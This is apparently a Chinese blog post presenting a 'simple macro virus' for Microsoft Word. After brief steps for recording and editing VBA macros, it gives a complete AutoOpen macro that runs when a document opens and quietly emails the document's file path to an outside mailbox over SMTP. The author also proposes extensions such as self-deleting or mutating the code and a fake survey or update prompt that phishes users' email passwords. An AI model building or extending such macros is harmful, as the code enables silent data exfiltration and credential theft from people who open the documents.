• 宏&一个简单的宏病毒示例


    基于VisualBasicForApplications

    其一:录制宏

    在word,视图,宏,录制宏选项。

    操作比较简单,不再赘述。 (注意根据需求选择normal还是当前文档)

    例如:录制宏:快捷键设为空格,将某些字段设为隐藏/空白。可以隐藏信息。(虽然很简陋)

    其二:编辑宏

    视图 宏 查看宏 创建 (注意根据需求选择normal还是当前文档)

    CDO组件发送邮件。

    用了ActiveDocument.FullName获取当前文档的path。

    不知道为什么Dim mail As New CDO.Message 会报错

    改用Set cm = CreateObject("CDO.Message")

    同时这里宏名AutoOpen。具体释义可以在网上找。这里是偷懒了,可以先做一个msg的宏,再做一个AutoOpen,在AutoOpen里call msg

    注意发送的邮箱要在设置中开启SMTP选项,同时设置一个第三方登录密码。这样代码里用的是这个密码而非邮箱密码。

    另外编辑完成后提示doc不支持宏,所以改为docm格式。

    另外在visual basic for application编辑时注意在 工具——引用 添加CDO的库

    代码

    改进的思路也有很多。比如运行完直接销毁代码,运行完随机替换代码字符等等。

    还有社会工程的方法,比如弹出一个框要用户输入自己的邮箱和密码。(以调查,更新等名义)

    Sub AutoOpen()
    '
    ' AutoOpen 宏
    '
    '
    MsgBox ("thanks")
    
    
    Set cm = CreateObject("CDO.Message")
    cm.From = "xxxx@163.com"
    cm.To = "yyyy@qq.com"
    cm.Subject = "the back"
    cm.HTMLBody = ActiveDocument.FullName
    stUl = "http://schemas.microsoft.com/cdo/configuration/" '微软服务器网址
    With cm.Configuration.Fields
        .Item(stUl & "smtpserver") = "smtp.163.com"         'SMTP服务器地址
        .Item(stUl & "smtpserverport") = 25                  'SMTP服务器端口
        .Item(stUl & "sendusing") = 2                        '发送端口
        .Item(stUl & "smtpauthenticate") = 1      '需要提供用户名和密码,0是不提供           '
        .Item(stUl & "sendusername") = "xxxx"                '发送方邮箱名称
        .Item(stUl & "sendpassword") = "xxxx"                  '发送方邮箱密码
        .Update
    End With
    cm.Send '最后当然是执行发送了
    Set cm = Nothing
    '发送成功后即时释放对象
    End Sub
    
  • 相关阅读:
    IDEA使用Maven报错
    defaultdict高级用法
    dd命令创建文件
    数据结构与算法
    mongodb(2022)
    参数替换xargs
    docker清理已停止的容器
    rename重命名
    go控制grpc的metadata
    将本地文件上传到gitlab文件夹显示为红色无法打开原因分析以及解决方案
  • 原文地址:https://www.cnblogs.com/lqerio/p/11111832.html
Copyright © 2020-2023  润新知